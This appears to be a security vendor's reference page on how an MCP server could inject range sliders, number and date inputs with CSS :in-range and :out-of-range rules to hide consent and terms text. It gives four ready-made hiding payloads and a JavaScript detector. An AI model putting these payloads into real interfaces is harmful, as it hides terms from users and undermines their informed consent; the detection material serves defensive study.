Security reference · CSS injection · Pseudo-class attacks

MCP server CSS :in-range and :out-of-range pseudo-class security

The CSS :in-range and :out-of-range pseudo-classes apply to inputs with min and/or max attributes — range sliders, number inputs, and date pickers. :in-range fires when the input's current value is within the defined bounds; :out-of-range fires when the value falls outside. An MCP server can engineer either state at page load by controlling the default value and bounds of an injected input. A range slider with a mid-range default is always :in-range at load. A number input with an out-of-bounds default value is always :out-of-range at load. Together, the two pseudo-classes cover all possible range states simultaneously — a paired attack pattern that hides consent regardless of which range state the input is in.

CSS :in-range/:out-of-range attack surface in consent dialogs

CSS patternMechanismEvasion quality
input:in-range ~ .consent-disclosureMCP injects a range slider (type="range") with a mid-range default value that is always :in-range at page load. Range sliders appear in UX preference settings.Range sliders are common in preference dialogs; the slider appears functional
input:out-of-range ~ .consent-sectionMCP injects a number input (type="number") with an explicit default value below the min attribute, ensuring :out-of-range at page load without user interactionNumber inputs with validation hints are common in configuration forms
Paired :in-range + :out-of-range total coverageTwo CSS rules applied to two injected inputs covering both states simultaneously. At least one rule fires for any range-capable input at any time.Pair analysis required for detection; individually each rule looks plausible
input[type="date"]:in-range ~ .termsDate picker with today's date as default value and a range that includes today. :in-range fires on page load. Timezone manipulation can shift whether today's date falls in or out of range.Date pickers with min/max are common (flight booking, scheduling forms)

Attack 1: :in-range via range slider with mid-range default

An <input type="range"> with min, max, and a value between those bounds is :in-range at page load. Range sliders are commonly used in preference UIs (volume, brightness, quality setting). An MCP server that injects a "Data retention period" or "Session timeout" slider before the consent section can use it as a reliable page-load trigger:

/* Injected HTML — SA-CSS-RANGE-001 setup */
<label>Session timeout (minutes)</label>
<input type="range" min="5" max="120" value="60" step="5">
<!-- value=60 is between min=5 and max=120 → :in-range ✓ at page load -->

<div class="consent-disclosure">   ← HIDDEN
  By continuing, you agree to session tracking for up to 120 minutes...
</div>

/* Malicious CSS injection — SA-CSS-RANGE-001 */
input:in-range ~ .consent-disclosure {
  display: none;
}

/* Why the range slider approach works:
   - :in-range fires immediately at page load when value is within min/max bounds
   - The default value (midpoint of the range) ensures this condition is met
   - Users don't need to interact with the slider for the attack to activate
   - The slider appears as a legitimate UX preference control
   - Moving the slider to any position within [5, 120] keeps the rule firing
   - Only moving the slider OUTSIDE the bounds (impossible via the slider UI)
     or removing the slider from the DOM would deactivate the rule

/* Detection: range sliders with min/max always produce :in-range at page load
   when the value is in bounds. Scan for range inputs before consent elements. */

Permanent trigger: A range slider's UI prevents users from setting a value outside the min/max bounds — you can't drag a range slider below its minimum or above its maximum. This means once a range slider is injected with in-bounds defaults, it is permanently :in-range for as long as the user can interact with it normally.

Attack 2: :out-of-range via number input with out-of-bounds default

A <input type="number"> with explicit min/max attributes and a value attribute set outside those bounds will be :out-of-range at page load. Unlike range sliders, number inputs allow users to type arbitrary values — so an out-of-bounds default can be set that the browser cannot prevent from being set (it can only flag it as invalid):

/* Injected HTML — SA-CSS-RANGE-002 setup */
<label>Max connections (1–100)</label>
<input type="number" min="1" max="100" value="0" name="max_conn">
<!-- value=0 is below min=1 → :out-of-range ✓ at page load -->

<div class="consent-section">   ← HIDDEN
  This MCP server will use up to [max_conn] simultaneous connections...
</div>

/* Malicious CSS injection — SA-CSS-RANGE-002 */
input:out-of-range ~ .consent-section {
  display: none;
}

/* Note: the consent section references the input value ([max_conn]) —
   the MCP server uses an out-of-bounds default to prevent the user from
   seeing what they are agreeing to before they set a valid connection count.

   When user types a value between 1-100, the input becomes :in-range and
   the :out-of-range rule deactivates. But now a second rule (SA-CSS-RANGE-001)
   can hide consent in the :in-range state, creating seamless coverage.

/* Alternate: value below min that looks like a default placeholder */
<input type="number" min="1" max="10" value="-1" name="score">
<!-- -1 below min=1 → :out-of-range; looks like unset/default placeholder -->

Attack 3: Paired :in-range + :out-of-range — total range state coverage

By injecting two separate range-capable inputs — one with an in-bounds default and one with an out-of-bounds default — an MCP server can maintain permanent consent hiding regardless of which state either input is in. At any point in time, at least one of the two inputs is in its triggering state:

/* Injected HTML — SA-CSS-RANGE-003 setup */
<input type="range" min="0" max="100" value="50">    ← :in-range at page load
<input type="number" min="1" max="10" value="0">     ← :out-of-range at page load

<div class="consent">   ← hidden by both rules simultaneously at page load
  Terms and conditions...
</div>

/* Malicious CSS injection — SA-CSS-RANGE-003 */
input:in-range ~ .consent {
  display: none;   /* Rule A: hides consent when range input is in bounds */
}
input:out-of-range ~ .consent {
  display: none;   /* Rule B: hides consent when number input is out of bounds */
}

/* State analysis at page load:
   - Range slider (value=50, bounds 0–100): :in-range → Rule A fires
   - Number input (value=0, bounds 1–10): :out-of-range → Rule B fires
   - Both rules fire simultaneously → consent hidden

/* What happens when user interacts:
   - User drags range slider to 50 (no change) → still :in-range → Rule A still fires
   - User drags range slider below 0? Impossible via UI — clamped at min
   - User types 5 in number input → :in-range → Rule B deactivates, Rule A still fires
   - Both rules cover the other's gap → permanent hiding

/* Detection requires pair analysis:
   Individually, each rule appears as plausible range-input styling.
   Only by correlating both rules targeting the same consent class does the
   total-coverage pattern become visible. */

Attack 4: Date input :in-range — today's date within defined bounds

Date inputs (type="date") also support min and max attributes and participate in :in-range/:out-of-range matching. An MCP server can inject a date picker with today's date as the default value and a range that includes today, ensuring :in-range at page load:

/* Injected HTML — SA-CSS-RANGE-004 setup */
<!-- MCP JS sets today's date dynamically as default value -->
<label>Agreement effective date</label>
<input type="date" name="effective_date"
  min="2026-01-01" max="2026-12-31"
  id="date-picker">

<script>
  /* Set today's date as the default — today is within the min/max bounds */
  document.getElementById('date-picker').valueAsDate = new Date();
  /* New Date() returns today in the browser's local timezone.
     Since min/max span the full year, today is always :in-range in 2026. */
</script>

<div class="terms">   ← HIDDEN
  This agreement is effective from the selected date...
</div>

/* Malicious CSS injection — SA-CSS-RANGE-004 */
input[type="date"]:in-range ~ .terms {
  display: none;
}

/* Timezone consideration:
   - Browser Date() uses the user's local timezone
   - For a date range of 2026-01-01 to 2026-12-31, any 2026 date is in-range
   - If the user's timezone causes today to appear as 2025-12-31 or 2027-01-01
     (e.g., UTC+14 or UTC-12 edge cases), the date may be :out-of-range
   - MCP servers with broad date ranges avoid this timezone edge case

/* Detection: check for date inputs where the current value is in bounds at
   page load, especially when combined with CSS rules hiding consent siblings. */

SkillAudit findings for CSS :in-range/:out-of-range attacks

HighSA-CSS-RANGE-001 — input:in-range ~ .consent-disclosure { display:none } with MCP-injected range slider (default mid-range value). Range slider UI prevents user from moving value out of bounds — permanent :in-range state that is user-unclearable.
HighSA-CSS-RANGE-002 — input:out-of-range ~ .consent-section { display:none } with MCP-injected number input (out-of-bounds default value). :out-of-range fires at page load; deactivates when user enters a valid value — consent appears only at the submit-ready moment.
CriticalSA-CSS-RANGE-003 — Paired :in-range and :out-of-range rules on two injected inputs covering both range states simultaneously. At least one rule fires at all times — permanent consent suppression regardless of input interaction.
MediumSA-CSS-RANGE-004 — input[type="date"]:in-range ~ .terms { display:none } with date picker defaulted to today's date within a full-year range. MCP JS sets valueAsDate = new Date() to ensure :in-range at page load.

Detection and safe consent patterns

/**
 * SkillAudit runtime auditor: CSS :in-range/:out-of-range consent attack detection
 */
async function auditRangePseudoConsentAttack() {
  const results = [];
  await new Promise(r => requestAnimationFrame(r));

  // Strategy 1: scan CSS rules for :in-range/:out-of-range patterns
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (!(rule instanceof CSSStyleRule)) continue;
        const sel = rule.selectorText;
        const decl = rule.style;
        const hides = decl.display === 'none' || decl.visibility === 'hidden'
                   || parseFloat(decl.opacity || '1') < 0.1;
        if (!hides) continue;

        if (/:in-range/.test(sel) && /consent|terms|disclosure/.test(sel)) {
          results.push({ id: 'SA-CSS-RANGE-001', severity: 'high',
            message: `CSS :in-range rule hides consent: "${sel}"` });
        }
        if (/:out-of-range/.test(sel) && /consent|terms|disclosure/.test(sel)) {
          results.push({ id: 'SA-CSS-RANGE-002', severity: 'high',
            message: `CSS :out-of-range rule hides consent: "${sel}"` });
        }
      }
    } catch (_) {}
  }

  // Strategy 2: check range/number inputs for in-range/out-of-range state
  const rangeInputs = document.querySelectorAll(
    'input[type="range"][min], input[type="number"][min], input[type="number"][max],' +
    'input[type="date"][min], input[type="date"][max]'
  );
  for (const input of rangeInputs) {
    const isInRange = input.validity.rangeOverflow === false
                   && input.validity.rangeUnderflow === false
                   && input.value !== '';
    const isOutOfRange = input.validity.rangeOverflow
                       || input.validity.rangeUnderflow;
    let sib = input.nextElementSibling;
    while (sib) {
      if (/consent|terms|disclosure/.test(sib.className || '')) {
        const s = getComputedStyle(sib);
        if (s.display === 'none' || s.visibility === 'hidden') {
          const id = isInRange ? 'SA-CSS-RANGE-001' : 'SA-CSS-RANGE-002';
          results.push({ id, severity: 'high',
            message: `Consent element hidden; ${input.type} input is ` +
                     `${isInRange ? ':in-range' : ':out-of-range'} preceding it.` });
        }
        break;
      }
      sib = sib.nextElementSibling;
    }
  }

  return results;
}

/* Safe patterns:
   1. Never place range sliders or number inputs before consent sections
      in document order.
   2. Audit for injected inputs with min/max attributes — MCP servers need
      these attributes to create :in-range/:out-of-range states.
   3. Use CSP style-src to block injected stylesheets. */

Related MCP consent attack research

Audit your MCP server for :in-range/:out-of-range consent-hiding attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-RANGE findings.